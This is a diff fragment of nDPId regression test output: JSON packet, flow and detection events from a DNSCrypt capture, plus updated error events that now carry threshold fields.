00424{"packet_event_id":1,"packet_event_name":"packet","packet_id":417,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739337184962,"pkt":"REREREREZmZmZmZmCABFAABQw60Aub0Rx\/gKAAABBb2qxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":418,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739337184975} +00327{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":9,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739337184975,"packet_id":418,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739337184975} 00424{"packet_event_id":1,"packet_event_name":"packet","packet_id":418,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739337184962,"pkt":"REREREREZmZmZmZmCABFAABQw64Aub0Rx\/cKAAABBb2qxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00766{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":419,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":160,"flow_packet_id":2,"flow_src_last_pkt_time":946739337078192,"flow_dst_last_pkt_time":946739337186682,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"thread_ts_usec":946739337186682,"pkt":"ZmZmZmZmRERERERECABFAADU4rgAADMRX7Snctx9CgAAAQG7si0AwMTum2iBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0xAAAQAAHADAAQAAEAAAAAAH18RE5TQwACAACtvTpPmuzdARCZdHINGnm84Rta+Q9yZkJOIOBZH1xDWjyTETMesMGOqAFTeyjt37OaMFtfnU1CukJNcbLtFisLiXsfUndKvm3+Vr\/KkwQySWxBEvG+JEE+3LVi8Tb5u3eKex9Sd0q+bV9TqoVfU6qFX1T8BQ=="} 00766{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":420,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":161,"flow_packet_id":2,"flow_src_last_pkt_time":946739337078205,"flow_dst_last_pkt_time":946739337188595,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"thread_ts_usec":946739337188595,"pkt":"ZmZmZmZmRERERERECABFAADU4rkAADMRX7Onctx9CgAAAQG76MUAwI5am2SBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0xAAAQAAHADAAQAAEAAAAAAH18RE5TQwACAACtvTpPmuzdARCZdHINGnm84Rta+Q9yZkJOIOBZH1xDWjyTETMesMGOqAFTeyjt37OaMFtfnU1CukJNcbLtFisLiXsfUndKvm3+Vr\/KkwQySWxBEvG+JEE+3LVi8Tb5u3eKex9Sd0q+bV9TqoVfU6qFX1T8BQ=="} @@ -857,7 +739,7 @@ 00778{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":427,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":171,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739348756596,"flow_src_last_pkt_time":946739348756596,"flow_dst_last_pkt_time":946739348756596,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739348756596,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.253.154.66","src_port":45815,"dst_port":4343,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01201{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":427,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":171,"flow_packet_id":1,"flow_src_last_pkt_time":946739348756596,"flow_dst_last_pkt_time":946739348756596,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739348756596,"pkt":"REREREREZmZmZmZmCABFAAIcwiZAAL0R5K0KAAABuf2aQrL3EPcCCBcWY0sBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAxiY24tZG5zY3J5cHQAABAAAQAAAAAAAAAAAAHHAAwBwwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00883{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":427,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":171,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739348756596,"flow_src_last_pkt_time":946739348756596,"flow_dst_last_pkt_time":946739348756596,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739348756596,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.253.154.66","src_port":45815,"dst_port":4343,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":428,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739348756609} +00327{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739348756609,"packet_id":428,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739348756609} 00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":428,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739348756596,"pkt":"REREREREZmZmZmZmCABFAABQwiUAub0RJcIKAAABuf2aQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00778{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":429,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":172,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739348756620,"flow_src_last_pkt_time":946739348756620,"flow_dst_last_pkt_time":946739348756620,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739348756620,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.253.154.66","src_port":43540,"dst_port":4343,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01201{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":429,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":172,"flow_packet_id":1,"flow_src_last_pkt_time":946739348756620,"flow_dst_last_pkt_time":946739348756620,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739348756620,"pkt":"REREREREZmZmZmZmCABFAAIcwidAAL0R5KwKAAABuf2aQqoUEPcCCBcWY0kBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAxiY24tZG5zY3J5cHQAABAAAQAAAAAAAAAAAAHHAAwBwwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} @@ -865,12 +747,12 @@ 00781{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":430,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":173,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739348756689,"flow_src_last_pkt_time":946739348756689,"flow_dst_last_pkt_time":946739348756689,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739348756689,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.253.154.66","src_port":48159,"dst_port":4343,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":430,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":173,"flow_packet_id":1,"flow_src_last_pkt_time":946739348756689,"flow_dst_last_pkt_time":946739348756689,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739348756689,"pkt":"REREREREZmZmZmZmCABFAAXcwiggAL0RAOwKAAABuf2aQrwfEPcGBB7tY0gBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAxiY24tZG5zY3J5cHQAABAAAQAAAAAAAAAAAAXDAAwFvwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00886{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":430,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":173,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739348756689,"flow_src_last_pkt_time":946739348756689,"flow_dst_last_pkt_time":946739348756689,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739348756689,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.253.154.66","src_port":48159,"dst_port":4343,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":431,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739348756709} +00327{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739348756709,"packet_id":431,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739348756709} 00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":431,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739348756689,"pkt":"REREREREZmZmZmZmCABFAABQwigAub0RJb8KAAABuf2aQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00781{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":432,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":174,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739348756792,"flow_src_last_pkt_time":946739348756792,"flow_dst_last_pkt_time":946739348756792,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739348756792,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.253.154.66","src_port":38482,"dst_port":4343,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":432,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":174,"flow_packet_id":1,"flow_src_last_pkt_time":946739348756792,"flow_dst_last_pkt_time":946739348756792,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739348756792,"pkt":"REREREREZmZmZmZmCABFAAXcwikgAL0RAOsKAAABuf2aQpZSEPcGBES4Y0oBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAxiY24tZG5zY3J5cHQAABAAAQAAAAAAAAAAAAXDAAwFvwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00886{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":432,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":174,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739348756792,"flow_src_last_pkt_time":946739348756792,"flow_dst_last_pkt_time":946739348756792,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739348756792,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.253.154.66","src_port":38482,"dst_port":4343,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":433,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739348756812} +00327{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739348756812,"packet_id":433,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739348756812} 00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":433,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739348756792,"pkt":"REREREREZmZmZmZmCABFAABQwikAub0RJb4KAAABuf2aQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00766{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":434,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":171,"flow_packet_id":2,"flow_src_last_pkt_time":946739348756596,"flow_dst_last_pkt_time":946739348800047,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":225,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":225,"pkt_l4_len":191,"thread_ts_usec":946739348800047,"pkt":"ZmZmZmZmRERERERECABFAADTW7dAADkR0Ga5\/ZpCCgAAARD3svcAv+AkY0uBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAxiY24tZG5zY3J5cHQAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAAPzOPvxAqRNc7Q72GZx6clSW\/rILjCJS5AVCUtIfh\/knKqjuiGnU\/ySlMpkdSKAUBEzuxnQcAR\/n3q9w6kY3ZQBbAAtR8Cvhyf4swkJ5CXEM5Flzvf2K4fhPC+UgsGecNlsAC1HwK+HJAAAAAV9TdNFfVMZR"} 00767{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":435,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":169,"flow_packet_id":2,"flow_src_last_pkt_time":946739348756593,"flow_dst_last_pkt_time":946739348800211,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":225,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":225,"pkt_l4_len":191,"thread_ts_usec":946739348800211,"pkt":"ZmZmZmZmRERERERECABFAADTW7hAADkR0GW5\/ZpCCgAAARD3lzUAv\/vqY0eBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAxiY24tZG5zY3J5cHQAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAAPzOPvxAqRNc7Q72GZx6clSW\/rILjCJS5AVCUtIfh\/knKqjuiGnU\/ySlMpkdSKAUBEzuxnQcAR\/n3q9w6kY3ZQBbAAtR8Cvhyf4swkJ5CXEM5Flzvf2K4fhPC+UgsGecNlsAC1HwK+HJAAAAAV9TdNFfVMZR"} @@ -887,7 +769,7 @@ 00776{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":442,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":177,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739348805774,"flow_src_last_pkt_time":946739348805774,"flow_dst_last_pkt_time":946739348805774,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739348805774,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.204.111","src_port":41895,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 